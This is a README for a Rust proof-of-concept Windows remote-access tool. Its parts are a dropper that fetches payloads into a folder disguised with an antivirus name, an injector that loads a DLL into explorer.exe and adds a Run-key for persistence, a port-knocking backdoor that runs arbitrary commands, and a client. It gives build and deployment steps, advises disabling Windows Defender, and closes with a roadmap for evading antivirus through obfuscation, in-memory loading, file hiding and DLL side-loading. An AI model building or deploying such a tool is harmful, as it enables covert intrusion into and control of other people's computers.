This repository contains a proof‑of‑concept demonstration of a simple Windows‑based remote control tool written in Rust. It consists of four main components:
- dropper: Downloads the main executable (
magzware.exe) and the injector library (rabinolib.dll) into the user’s%APPDATA%folder, then spawnsmagzware.exe. - magzware: Identifies the
explorer.exeprocess, injects the DLL (rabinolib.dll) into it, and adds itself to the current user’s Run registry key so that it launches automatically on logon. - rabinolib: Once injected into
explorer.exe, this DLL implements a simple port‑knocking listener (UDP three‑port sequence). After the knock sequence is completed, it opens a TCP listener on port 10000 to receive commands, executes them viaCreateProcessAwith output redirection, and forwards the command’s stdout/stderr back over the same TCP connection. - remote‑command: A client that performs the three‑port knock (7000 → 8000 → 9000), connects to port 10000 on the target machine, and allows the user to type arbitrary commands. It displays the command’s output and continues until the user types
exit.
Below is the project directory structure:
.
├── dropper
│ ├── Cargo.lock
│ ├── Cargo.toml
│ └── src
│ └── main.rs
├── LICENSE
├── magzware
│ ├── Cargo.lock
│ ├── Cargo.toml
│ └── src
│ └── main.rs
├── rabinolib
│ ├── Cargo.lock
│ ├── Cargo.toml
│ └── src
│ └── lib.rs
├── README.md
└── remote‑command
├── Cargo.lock
├── Cargo.toml
└── src
└── main.rs
-
dropper/
-
src/main.rs: Downloadsmagzware.exeandrabinolib.dllinto%APPDATA%\Anti virus Zhou Rabinovitch\, then executesmagzware.exe. -
Builds with:
cd dropper cargo build --target x86_64‑pc‑windows‑gnu --release -
Output binary:
dropper/target/x86_64‑pc‑windows‑gnu/release/dropper.exe
-
-
magzware/
-
src/main.rs:- Locates the PID of
explorer.exe. - Allocates memory inside that process, writes the path to
rabinolib.dllinto it, and callsCreateRemoteThreadonLoadLibraryAto injectrabinolib.dll. - Creates/updates the Run registry key under
HKCU\Software\Microsoft\Windows\CurrentVersion\Runso it auto‑launches on user logon.
- Locates the PID of
-
Builds with:
cd magzware cargo build --target x86_64‑pc‑windows‑gnu --release -
Output binary:
magzware/target/x86_64‑pc‑windows‑gnu/release/magzware.exe
-
-
rabinolib/
-
src/lib.rs:-
In its
DllMain, spawns a separate thread that:-
Initializes Winsock.
-
Opens three UDP sockets bound to ports 7000, 8000, and 9000.
-
Loops on
select()until it sees the exact knock sequence (7000 → 8000 → 9000). -
Closes the UDP sockets, then opens a TCP socket listening on port 10000 (0.0.0.0:10000).
-
Calls
accept(), blocks until a client connects, then enters a read loop. For each line (command) received over TCP:- Uses
CreatePipeandCreateProcessAwithSTARTF_USESTDHANDLESto redirectstdout/stderrof the child process into the pipe. - Reads from the pipe via
ReadFile(...)chunks of up to 4096 bytes. - Sends each chunk back to the client via
send(client, …).
- Uses
-
When no more data is available (child process ends or pipe closes), it closes the pipe handles, closes the client socket, and finally closes the listening socket. Thread returns.
-
-
-
Builds with:
cd rabinolib cargo build --target x86_64‑pc‑windows‑gnu --release -
Output DLL:
rabinolib/target/x86_64‑pc‑windows‑gnu/release/rabinolib.dll
-
-
remote‑command/
-
src/main.rs:-
Takes a hard‑coded target IP (e.g.
192.168.56.102). -
Creates a UDP socket bound to
0.0.0.0:0, then sends a single zero‑byte packet to<target_ip>:7000, sleeps 100 ms, to<target_ip>:8000, sleeps 100 ms, and to<target_ip>:9000. -
Connects via TCP to
<target_ip>:10000, sets short timeouts. -
Enters an interactive loop:
- Prints
remote>prompt. - Reads a line from stdin (until
\n). - If the line is
exit(or EOF), breaks. - Otherwise, sends the line +
\nto the TCP connection. - Reads as many bytes as are available (non‑blocking) from the TCP stream, accumulates them in a buffer, and prints them as UTF‑8 text.
- Repeats.
- Prints
-
-
Builds with:
cd remote‑command cargo build --target x86_64‑pc‑windows‑gnu --release -
Output binary:
remote‑command/target/x86_64‑pc‑windows‑gnu/release/remote‑command.exe
-
-
Rust Toolchain
- Rust 1.50+
- MSVC or GNU (MinGW) on Windows; this demo uses the
x86_64‑pc‑windows‑gnutarget.
-
Network Access
- A simple HTTP server that serves
magzware.exeandrabinolib.dllon the host (e.g.python3 -m http.server 8080). - The client (
remote‑command) must be able to reach the target machine on UDP ports 7000/8000/9000 and TCP port 10000.
- A simple HTTP server that serves
git clone https://github.com/<your‑username>/rust‑remote‑demo.git
cd rust‑remote‑demo
# Build dropper
cd dropper
cargo build --target x86_64‑pc‑windows‑gnu --release
cd ..
# Build magzware
cd magzware
cargo build --target x86_64‑pc‑windows‑gnu --release
cd ..
# Build rabinolib (DLL)
cd rabinolib
cargo build --target x86_64‑pc‑windows‑gnu --release
cd ..At this point, you should have:
dropper/target/x86_64‑pc‑windows‑gnu/release/dropper.exemagzware/target/x86_64‑pc‑windows‑gnu/release/magzware.exerabinolib/target/x86_64‑pc‑windows‑gnu/release/rabinolib.dll
Use any HTTP server to serve both the EXE and DLL. For example, from the machine that will be the target if you are directly infecting the host machine or if you are using a VM then you can use the host machine:
# In one terminal, serve magzware.exe:
cd magzware/target/x86_64‑pc‑windows‑gnu/release
python3 ‑m http.server 8080 &
# In another terminal, serve rabinolib.dll:
cd rabinolib/target/x86_64‑pc‑windows‑gnu/release
python3 ‑m http.server 8081 &Modify the URLs in dropper/src/main.rs accordingly (e.g. http://<host_ip>:8080/magzware.exe, http://<host_ip>:8081/rabinolib.dll).
Copy dropper/target/x86_64‑pc‑windows‑gnu/release/dropper.exe to the target Windows PC and run it:
# On Windows CMD or PowerShell
dropper.exeWhat happens:
- Creates
%APPDATA%\Anti virus Zhou Rabinovitch\. - Downloads
magzware.exeinto the newly created folder undermagzware.exe. - Downloads
rabinolib.dllinto the newly created folder underrabinolib.dll. - Launches
magzware.exe.
You might need to disable Windows defender and allow the execution of the dropper.
When magzware.exe runs:
-
It locates
%APPDATA%\Anti virus Zhou Rabinovitch\rabinolib.dll. -
Calls
inject("…\\rabinolib.dll"), which:- Finds the PID of
explorer.exe. - Opens a handle (
OpenProcess) to it. - Writes the path
"…\\rabinolib.dll"into the target process memory. - Retrieves
LoadLibraryA’s address and spawns a remote thread in Explorer to loadrabinolib.dll. - Closes the process handle.
- Finds the PID of
-
Creates (or updates) the Run key so that on next logon,
magzware.exeexecutes. -
Exits.
At this point, rabinolib.dll (now in‑proc inside explorer.exe) has begun running its port‑knocking thread.
Once rabinolib.dll is loaded into explorer.exe:
-
Its
DllMainseesDLL_PROCESS_ATTACHand spawns a new thread (control_thread). -
control_threadinitializes Winsock and binds to UDP ports 7000, 8000, and 9000. -
It loops, waiting for a knock sequence: receiving one packet on port 7000, then one on 8000, then one on 9000, in that order.
-
When the sequence is completed, it closes all three UDP sockets and opens a TCP socket on port 10000 (0.0.0.0:10000).
-
It calls
accept(), blocks until a client connects, then enters a read loop. For each line (command) received over TCP:- Uses
CreatePipeandCreateProcessAwithSTARTF_USESTDHANDLESto redirectstdout/stderrof the child process into the pipe. - Reads from the pipe via
ReadFile(...)chunks of up to 4096 bytes. - Sends each chunk back to the client via
send(client, …).
- Uses
-
When no more data is available (child process ends or pipe closes), it closes the pipe handles, closes the client socket, and finally closes the listening socket. Thread returns.
On a separate machine (or the same machine, adjusting target_ip=127.0.0.1), run:
cd remote-command/
cargo runIf you are using a windows machine, you may need to add the --target x86_64‑pc‑windows‑gnu flag.
Steps:
-
It performs a UDP knock to
<target_ip>:7000,<target_ip>:8000,<target_ip>:9000. -
It connects via TCP to
<target_ip>:10000. -
Enters an interactive prompt:
remote> -
Type a command (e.g.
whoami) and press Enter.- The command is sent to rabinolib.dll in Explorer.
- The DLL runs
whoami.exewith stdout/stderr redirected into a pipe. - The DLL reads from the pipe and forwards the string
MYMACHINE\Username\r\nback over TCP. - The client reads the data and prints it, then re‑prompts:
remote> whoami MYMACHINE\User remote> -
To launch a GUI program (e.g.
notepad.exeorcalc.exe), type its name. The client will show nothing (becausestdoutis empty) but the program will open on the target user’s desktop. -
Type
exitto close the session and terminate the client.
-
Windows Firewall & SmartScreen
- Currently, the first run of
dropper.exemay trigger a Windows Firewall prompt to allow outbound HTTP/UDP/TCP traffic, and SmartScreen will warn on the unsigned EXEs/DLLs or even Windows defender. - Future Idea: Embed the HTTP download in a trusted Windows component (e.g. WinHTTP in‑proc), or sign all binaries with a valid code‑signing certificate to avoid SmartScreen.
- Currently, the first run of
-
Traffic Encryption
- All UDP “knock” packets and TCP command payloads are sent in plaintext.
- Future Idea: Use TLS (SChannel or a Rust TLS library) on the TCP channel, and encrypt the knock sequence or hide it in legitimate‑looking DNS or HTTPS traffic.
-
Code Obfuscation & String Protection
-
Currently, all strings (e.g. registry key name, port numbers, file names) are stored verbatim in the binaries.
-
Future Idea:
- Encode/decode critical strings at runtime (XOR, AES, simple base64 + dynamic key).
- Use a Rust‑compatible packer or minimal anti‑debug tricks to make static analysis harder.
-
-
Executable Hiding
-
We just "hide" our EXE/DLL inside the
%APPDATA%folder which is not stealthy at all. -
Future Idea:
- Store the main EXE & DLL in ADS and create hidden/system files for temporary execution.
- Use a Reflective PE loader so no PE ever touches the filesystem, staying fully in‑memory.
- Employ a kernel‑mode mini‑filter driver to hide files/folders at the NTFS level.
-
-
Registry “Run” Key Stealth
-
We create a standard Run key under
HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Tools and AV can spot this easily. -
Future Idea:
- Use NT Native API (
NtCreateKey) or WMI event subscriptions for persistence. - Create a scheduled task that self‑destructs after registration, leaving no “Run” value behind.
- Use NT Native API (
-
-
Parent Process & DLL Persistence
-
Currently, we inject into
explorer.exe(which runs under the user context). A reboot will kill it unlessRunre‑spawnsmagzware.exe. -
Future Idea:
- Instead of injecting into Explorer, hijack a signed, always‑running service or legitimate process with a DLL side‑loading/hijacking technique (placing
rabinolib.dllnext to a signed Microsoft binary). - Implement a stealthier update/check mechanism: only re‑inject if a specific condition is met.
- Instead of injecting into Explorer, hijack a signed, always‑running service or legitimate process with a DLL side‑loading/hijacking technique (placing
-